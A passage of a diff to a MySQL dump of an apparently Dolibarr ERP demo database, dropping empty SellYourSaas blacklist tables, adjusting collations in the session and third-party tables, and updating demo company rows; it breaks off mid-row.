ALTER TABLE `llx_sellyoursaas_blacklistfrom` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_sellyoursaas_blacklistip` --- - -DROP TABLE IF EXISTS `llx_sellyoursaas_blacklistip`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_sellyoursaas_blacklistip` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `entity` int(11) NOT NULL DEFAULT 1, - `content` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, - `date_creation` datetime NOT NULL, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `status` int(11) NOT NULL DEFAULT 1, - PRIMARY KEY (`rowid`), - KEY `idx_sellyoursaas_blacklistip_content` (`content`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_sellyoursaas_blacklistip` --- - -LOCK TABLES `llx_sellyoursaas_blacklistip` WRITE; -/*!40000 ALTER TABLE `llx_sellyoursaas_blacklistip` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_sellyoursaas_blacklistip` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_sellyoursaas_blacklistmail` --- - -DROP TABLE IF EXISTS `llx_sellyoursaas_blacklistmail`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_sellyoursaas_blacklistmail` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `entity` int(11) NOT NULL DEFAULT 1, - `content` text COLLATE utf8mb3_unicode_ci NOT NULL, - `date_creation` datetime NOT NULL, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `status` int(11) NOT NULL DEFAULT 1, - PRIMARY KEY (`rowid`), - KEY `idx_sellyoursaas_blacklistmail_date_creation` (`date_creation`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_sellyoursaas_blacklistmail` --- - -LOCK TABLES `llx_sellyoursaas_blacklistmail` WRITE; -/*!40000 ALTER TABLE `llx_sellyoursaas_blacklistmail` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_sellyoursaas_blacklistmail` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_sellyoursaas_blacklistto` --- - -DROP TABLE IF EXISTS `llx_sellyoursaas_blacklistto`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_sellyoursaas_blacklistto` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `entity` int(11) NOT NULL DEFAULT 1, - `content` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, - `date_creation` datetime NOT NULL, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `status` int(11) NOT NULL DEFAULT 1, - PRIMARY KEY (`rowid`), - KEY `idx_sellyoursaas_blacklistto_content` (`content`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_sellyoursaas_blacklistto` --- - -LOCK TABLES `llx_sellyoursaas_blacklistto` WRITE; -/*!40000 ALTER TABLE `llx_sellyoursaas_blacklistto` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_sellyoursaas_blacklistto` ENABLE KEYS */; -UNLOCK TABLES; - -- -- Table structure for table `llx_session` -- @@ -12201,12 +11272,12 @@ DROP TABLE IF EXISTS `llx_session`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_session` ( - `session_id` varchar(50) CHARACTER SET utf8mb4 NOT NULL, - `session_variable` text CHARACTER SET utf8mb4 DEFAULT NULL, + `session_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL, + `session_variable` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, `last_accessed` datetime NOT NULL, `fk_user` int(11) NOT NULL, - `remote_ip` varchar(64) CHARACTER SET utf8mb4 DEFAULT NULL, - `user_agent` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `remote_ip` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, + `user_agent` varchar(255) DEFAULT NULL, PRIMARY KEY (`session_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -12233,42 +11304,42 @@ CREATE TABLE `llx_societe` ( `parent` int(11) DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `datec` datetime DEFAULT NULL, - `nom` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `nom` varchar(128) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_int` varchar(60) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `code_client` varchar(24) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `code_fournisseur` varchar(24) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `code_compta` varchar(24) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `code_compta_fournisseur` varchar(24) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `address` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `zip` varchar(25) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `town` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_ext` varchar(255) DEFAULT NULL, + `ref_int` varchar(60) DEFAULT NULL, + `code_client` varchar(24) DEFAULT NULL, + `code_fournisseur` varchar(24) DEFAULT NULL, + `code_compta` varchar(24) DEFAULT NULL, + `code_compta_fournisseur` varchar(24) DEFAULT NULL, + `address` varchar(255) DEFAULT NULL, + `zip` varchar(25) DEFAULT NULL, + `town` varchar(50) DEFAULT NULL, `fk_departement` int(11) DEFAULT 0, `fk_pays` int(11) DEFAULT 0, - `phone` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `fax` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `url` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `email` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `socialnetworks` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `phone` varchar(20) DEFAULT NULL, + `fax` varchar(20) DEFAULT NULL, + `url` varchar(255) DEFAULT NULL, + `email` varchar(128) DEFAULT NULL, + `socialnetworks` text DEFAULT NULL, `fk_effectif` int(11) DEFAULT 0, `fk_typent` int(11) DEFAULT NULL, `fk_forme_juridique` int(11) DEFAULT 0, - `fk_currency` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `siren` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `siret` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ape` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `idprof4` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `tva_intra` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `fk_currency` varchar(3) DEFAULT NULL, + `siren` varchar(128) DEFAULT NULL, + `siret` varchar(128) DEFAULT NULL, + `ape` varchar(128) DEFAULT NULL, + `idprof4` varchar(128) DEFAULT NULL, + `tva_intra` varchar(20) DEFAULT NULL, `capital` double(24,8) DEFAULT NULL, `fk_stcomm` int(11) NOT NULL DEFAULT 0, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `prefix_comm` varchar(5) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `prefix_comm` varchar(5) DEFAULT NULL, `client` tinyint(4) DEFAULT 0, `fournisseur` tinyint(4) DEFAULT 0, - `supplier_account` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `fk_prospectlevel` varchar(12) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `supplier_account` varchar(32) DEFAULT NULL, + `fk_prospectlevel` varchar(12) DEFAULT NULL, `customer_bad` tinyint(4) DEFAULT 0, `customer_rate` double DEFAULT 0, `supplier_rate` double DEFAULT 0, @@ -12278,7 +11349,7 @@ CREATE TABLE `llx_societe` ( `remise_supplier` double DEFAULT 0, `mode_reglement` tinyint(4) DEFAULT NULL, `cond_reglement` tinyint(4) DEFAULT NULL, - `deposit_percent` varchar(63) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `deposit_percent` varchar(63) DEFAULT NULL, `transport_mode` tinyint(4) DEFAULT NULL, `mode_reglement_supplier` int(11) DEFAULT NULL, `outstanding_limit` double(24,8) DEFAULT NULL, @@ -12292,29 +11363,30 @@ CREATE TABLE `llx_societe` ( `localtax1_value` double(6,3) DEFAULT NULL, `localtax2_assuj` tinyint(4) DEFAULT 0, `localtax2_value` double(6,3) DEFAULT NULL, - `barcode` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `barcode` varchar(255) DEFAULT NULL, `price_level` int(11) DEFAULT NULL, - `default_lang` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `canvas` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `default_lang` varchar(6) DEFAULT NULL, + `canvas` varchar(32) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `status` tinyint(4) DEFAULT 1, - `logo` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `idprof5` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `idprof6` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `logo` varchar(255) DEFAULT NULL, + `idprof5` varchar(128) DEFAULT NULL, + `idprof6` varchar(128) DEFAULT NULL, `fk_barcode_type` int(11) DEFAULT 0, - `webservices_url` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `webservices_key` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code_sell` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code_buy` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `name_alias` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `webservices_url` varchar(255) DEFAULT NULL, + `webservices_key` varchar(128) DEFAULT NULL, + `accountancy_code_sell` varchar(32) DEFAULT NULL, + `accountancy_code_buy` varchar(32) DEFAULT NULL, + `name_alias` varchar(128) DEFAULT NULL, `fk_incoterms` int(11) DEFAULT NULL, - `location_incoterms` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `location_incoterms` varchar(255) DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, + `last_main_doc` varchar(255) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `fk_account` int(11) DEFAULT NULL, `fk_warehouse` int(11) DEFAULT NULL, - `logo_squarred` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `logo_squarred` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_societe_prefix_comm` (`prefix_comm`,`entity`), UNIQUE KEY `uk_societe_code_client` (`code_client`,`entity`), @@ -12323,8 +11395,9 @@ CREATE TABLE `llx_societe` ( KEY `idx_societe_user_creat` (`fk_user_creat`), KEY `idx_societe_user_modif` (`fk_user_modif`), KEY `idx_societe_barcode` (`barcode`), - KEY `idx_societe_warehouse` (`fk_warehouse`) -) ENGINE=InnoDB AUTO_INCREMENT=31 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; + KEY `idx_societe_warehouse` (`fk_warehouse`), + KEY `idx_societe_nom` (`nom`) +) ENGINE=InnoDB AUTO_INCREMENT=37 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -12333,7 +11406,7 @@ CREATE TABLE `llx_societe` ( LOCK TABLES `llx_societe` WRITE; /*!40000 ALTER TABLE `llx_societe` DISABLE KEYS */; -INSERT INTO `llx_societe` VALUES (1,0,NULL,'2018-01-16 15:21:09','2012-07-08 14:21:44','Indian SAS',1,NULL,NULL,'CU1212-0007','SU1212-0005','7050','6050','1 alalah road',NULL,'Delhi',0,117,NULL,NULL,NULL,NULL,NULL,NULL,4,NULL,'0','','','','','',5000.00000000,1,NULL,NULL,NULL,1,1,NULL,NULL,0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,'en_IN',NULL,NULL,1,'indiancompany.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,NULL,NULL,NULL,0,NULL),(2,0,NULL,'2018-07-30 11:45:49','2012-07-08 14:23:48','Teclib',1,NULL,NULL,'CU1108-0001','SU1108-0001','411CU11080001','401SU11080001','',NULL,'Paris',0,1,NULL,NULL,'www.teclib.com',NULL,NULL,4,3,57,'0','123456789','','ACE14','','',400000.00000000,0,NULL,NULL,NULL,3,1,NULL,'',0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,0,0.000,NULL,0.000,NULL,NULL,'fr_FR',NULL,NULL,1,'teclibcompany.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,0,'',NULL,0,NULL),(3,0,NULL,'2017-02-16 00:47:25','2012-07-08 22:42:12','Spanish Comp',1,NULL,NULL,'SPANISHCOMP','SU1601-0009',NULL,NULL,'1 via mallere',NULL,'Madrid',123,4,NULL,NULL,NULL,NULL,NULL,3,4,408,'0','','','','','',10000.00000000,0,NULL,NULL,NULL,1,1,NULL,NULL,0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,'es_AR',NULL,NULL,1,'spanishcompany.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,NULL,NULL,NULL,0,NULL),(4,0,NULL,'2018-01-22 17:24:53','2012-07-08 22:48:18','Prospector Vaalen',1,NULL,NULL,'CU1303-0014',NULL,NULL,NULL,'',NULL,'Bruxelles',103,2,NULL,NULL,NULL,NULL,NULL,3,4,201,'0','12345678','','','','',0.00000000,0,NULL,NULL,NULL,3,0,NULL,'PL_LOW',0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,'valeencompany.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,NULL,NULL,NULL,0,NULL),(5,0,NULL,'2017-02-21 11:01:17','2012-07-08 23:22:57','NoCountry GmBh',1,NULL,NULL,NULL,NULL,NULL,NULL,'',NULL,NULL,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'0','','','','','',0.00000000,0,NULL,NULL,NULL,0,0,NULL,'',0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,0,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,'nocountrycomp.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,1,'EUR',NULL,0,NULL),(6,0,NULL,'2018-01-16 15:35:56','2012-07-09 00:15:09','Swiss Touch',1,NULL,NULL,'CU1601-0018','SU1601-0010',NULL,NULL,'',NULL,'Genevia',0,6,NULL,NULL,NULL,'swisstouch@example.ch',NULL,2,2,601,'0','','','','','',56000.00000000,0,NULL,NULL,NULL,3,1,NULL,NULL,0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,'swisstouch.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,NULL,NULL,NULL,0,NULL),(7,0,NULL,'2018-01-16 15:38:32','2012-07-09 01:24:26','Generic customer',1,NULL,NULL,'CU1302-0011',NULL,NULL,NULL,'',NULL,NULL,0,7,NULL,NULL,NULL,'ttt@ttt.com',NULL,NULL,8,NULL,'0','','','','','',0.00000000,0,'Generic customer to use for Point Of Sale module.
',NULL,NULL,1,0,NULL,NULL,0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,'genericcustomer.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,NULL,NULL,NULL,0,NULL),(10,0,NULL,'2020-01-13 12:57:02','2012-07-10 15:13:08','NLTechno',1,NULL,NULL,'CU1212-0005','SU1601-0011','411CU12120005','401SU16010011','',NULL,NULL,0,102,NULL,NULL,NULL,'vsmith@email.com',NULL,1,4,54,'0','493861496','49386149600039','6209Z','22-01-2007','FR123456789',10000.00000000,0,NULL,'aa < aa
\r\ndddd',NULL,1,1,NULL,'',0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,'123456789012',NULL,'fr_FR',NULL,NULL,1,'logo_nltechno_94x100.png','','',0,NULL,NULL,NULL,NULL,'The OpenSource company',0,NULL,'generic_odt:/home/ldestailleur/git/dolibarr_11.0/documents/doctemplates/thirdparties/template_thirdparty.ods',0,'',NULL,0,NULL),(11,0,NULL,'2019-11-28 11:52:58','2012-07-10 18:35:57','Company Corp 1',1,NULL,NULL,'CU1510-0017',NULL,'7051',NULL,'21 Green Hill street','75500','Los Angeles',0,11,'444123456',NULL,'companycorp1.com','companycorp1@example.com','{\"skype\":\"corp1\"}',1,1,NULL,'0','AB1234567','','','','USABS123',10000.00000000,0,NULL,NULL,NULL,3,0,NULL,'PL_LOW',0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,0,0.000,NULL,0.000,NULL,NULL,'en_US',NULL,NULL,1,'comapnycorp1company.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,1,'EUR',NULL,0,NULL),(12,0,NULL,'2019-09-26 11:38:11','2012-07-11 16:18:08','Dupont Alain',1,NULL,NULL,'CU1601-0019',NULL,'411CU16010019',NULL,'',NULL,NULL,0,0,NULL,NULL,NULL,'pcurie@example.com',NULL,NULL,NULL,NULL,'0','','','','','',0.00000000,0,NULL,NULL,NULL,1,0,NULL,'',0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,'pierrecurie.jpg','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,0,'',NULL,0,NULL),(13,0,NULL,'2019-10-08 09:57:51','2012-07-11 17:13:20','Company Corp 2',1,NULL,NULL,'CU1910-00021','SU1510-0008','411CU191000021','401SU15100008','',NULL,NULL,0,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'0','','','','','',0.00000000,0,NULL,NULL,NULL,3,1,NULL,'',0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,'companycorp2company.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,1,'EUR',NULL,0,NULL),(17,0,NULL,'2019-11-28 15:02:49','2013-08-01 02:41:26','Book Keeping Company',1,NULL,NULL,'CU1108-0004','SU1108-0004',NULL,'401SU11080004','The French Company',NULL,'Paris',0,1,NULL,NULL,NULL,NULL,'[]',1,NULL,NULL,'0','','','','','',0.00000000,0,NULL,NULL,NULL,0,1,NULL,'',0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,'bookkeepercompany.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,1,'EUR',NULL,0,NULL),(19,0,NULL,'2019-09-26 12:03:13','2015-01-12 12:23:05','Magic Food Store',1,NULL,NULL,'CU1301-0008',NULL,NULL,NULL,'65 holdywood boulevard','123456','BigTown',0,4,NULL,'0101',NULL,'myemail@domain.com',NULL,NULL,NULL,NULL,'0','','','10/10/2010','','',0.00000000,0,NULL,NULL,NULL,1,0,NULL,NULL,0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,0.000,NULL,0.000,NULL,NULL,'en_US',NULL,NULL,1,'magicfoodstore.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,'sepamandate',NULL,NULL,NULL,0,NULL),(25,0,NULL,'2018-01-22 17:21:17','2015-03-10 15:47:37','Print Company',1,NULL,NULL,'CU1303-0016','SU1303-0007',NULL,NULL,'21 Gutenberg street','45600','Berlin',0,5,NULL,NULL,NULL,'printcompany@example.com',NULL,NULL,NULL,NULL,'0','','','','','',0.00000000,0,NULL,NULL,NULL,0,1,NULL,NULL,0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,'de_DE',NULL,NULL,1,'printcompany.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,NULL,NULL,NULL,0,NULL),(26,0,NULL,'2019-09-26 12:06:05','2017-02-12 23:17:04','Calculation Power',1,NULL,NULL,'CU1702-0020',NULL,'411CU17020020',NULL,'',NULL,'Calgary',0,14,NULL,NULL,NULL,'calculationpower@example.com',NULL,NULL,NULL,NULL,NULL,'','','','','',NULL,0,NULL,NULL,NULL,3,0,NULL,'',0,0,0,12,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,0,0.000,0,0.000,NULL,NULL,'en_US',NULL,NULL,1,'bookkeepercompany.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,1,'EUR',NULL,0,NULL),(29,0,NULL,'2020-01-13 12:56:22','2020-01-06 00:39:58','Patient',1,NULL,NULL,'CU2001-00022',NULL,'411CU200100022',NULL,'',NULL,NULL,0,117,'01','02',NULL,NULL,'null',NULL,NULL,NULL,NULL,'','','','','',NULL,0,'aa < ddd',NULL,NULL,3,0,NULL,'',0,0,0,12,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0.000,NULL,0.000,NULL,NULL,NULL,'patient@cabinetmed',NULL,1,NULL,'','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,0,'',NULL,0,NULL),(30,0,NULL,'2020-01-17 14:21:26','2020-01-13 17:19:24','Italo',1,NULL,NULL,'CU2001-00023',NULL,'411CU200100023',NULL,'12 Alagio','123','Milano',777,3,NULL,NULL,NULL,NULL,'[]',NULL,NULL,NULL,NULL,'','','','','',NULL,0,NULL,NULL,NULL,3,0,NULL,'',0,0,0,12,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,0,0.000,0,0.000,NULL,4,NULL,NULL,NULL,1,NULL,'','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,1,'EUR',NULL,0,NULL); +INSERT INTO `llx_societe` VALUES (1,0,NULL,'2023-03-01 22:02:40','2012-07-08 14:21:44','Indian SAS',1,NULL,NULL,'CU1212-0007','SU1212-0005','7050','6050','1 alalah road',NULL,'Delhi',NULL,117,NULL,NULL,NULL,NULL,'[]',NULL,4,NULL,'0','','','','','',5000.00000000,2,NULL,NULL,NULL,1,1,NULL,'',0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,'fr_FR',NULL,NULL,1,'indiancompany.png','','',0,NULL,NULL,'','','',0,NULL,'',NULL,1,'EUR',NULL,0,NULL),(2,0,NULL,'2023-02-25 02:32:36','2012-07-08 14:23:48','Teclib',1,NULL,NULL,'CU1108-0001','SU1108-0001','411CU11080001','401SU11080001','',NULL,'Paris',0,1,NULL,NULL,'www.teclib.com',NULL,NULL,4,3,57,'0','123456789','','ACE14','','',400000.00000000,2,NULL,NULL,NULL,3,1,NULL,'',0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,0,0.000,NULL,0.000,NULL,NULL,'fr_FR',NULL,NULL,1,'teclibcompany.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,NULL,0,'',NULL,0,NULL),(3,0,NULL,'2023-02-25 02:32:36','2012-07-08 22:42:12','Spanish Comp',1,NULL,NULL,'SPANISHCOMP','SU1601-0009',NULL,NULL,'1 via mallere',NULL,'Madrid',123,4,NULL,NULL,NULL,NULL,NULL,3,4,408,'0','','','','','',10000.00000000,2,NULL,NULL,NULL,1,1,NULL,NULL,0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,'es_AR',NULL,NULL,1,'spanishcompany.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(4,0,NULL,'2022-12-16 11:20:27','2012-07-08 22:48:18','Prospector Vaalen',1,NULL,NULL,'CU1303-0014',NULL,NULL,NULL,'',NULL,'Bruxelles',103,2,NULL,NULL,NULL,NULL,'[]',3,4,201,'0','12345678','','','','',0.00000000,2,NULL,NULL,NULL,3,0,NULL,'PL_LOW',0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,'valeencompany.png','','',0,NULL,NULL,'','','',0,NULL,'',NULL,0,'',NULL,0,NULL),(5,0,NULL,'2017-02-21 11:01:17','2012-07-08 23:22:57','NoCountry GmBh',1,NULL,NULL,NULL,NULL,NULL,NULL,'',NULL,NULL,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'0','','','','','',0.00000000,0,NULL,NULL,NULL,0,0,NULL,'',0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,0,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,'nocountrycomp.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,NULL,1,'EUR',NULL,0,NULL),(6,0,NULL,'2018-01-16 15:35:56','2012-07-09 00:15:09','Swiss Touch',1,NULL,NULL,'CU1601-0018','SU1601-0010',NULL,NULL,'',NULL,'Genevia',0,6,NULL,NULL,NULL,'swisstouch@example.ch',NULL,2,2,601,'0','','','','','',56000.00000000,0,NULL,NULL,NULL,3,1,NULL,NULL,0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,'swisstouch.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(7,0,NULL,'2018-01-16 15:38:32','2012-07-09 01:24:26','Generic customer',1,NULL,NULL,'CU1302-0011',NULL,NULL,NULL,'',NULL,NULL,0,7,NULL,NULL,NULL,'ttt@ttt.com',NULL,NULL,8,NULL,'0','','','','','',0.00000000,0,'Generic customer to use for Point Of Sale module.
',NULL,NULL,1,0,NULL,NULL,0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,'genericcustomer.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(10,0,NULL,'2023-01-24 09:58:57','2012-07-10 15:13:08','NLTechno',1,NULL,NULL,'CU1212-0005','SU1601-0011','411CU12120005','401SU16010011','',NULL,NULL,NULL,102,NULL,NULL,NULL,'vsmith@email.com','[]',1,4,NULL,'0','493861496','49386149600039','6209Z','22-01-2007','',10000.00000000,0,NULL,'aa < aa
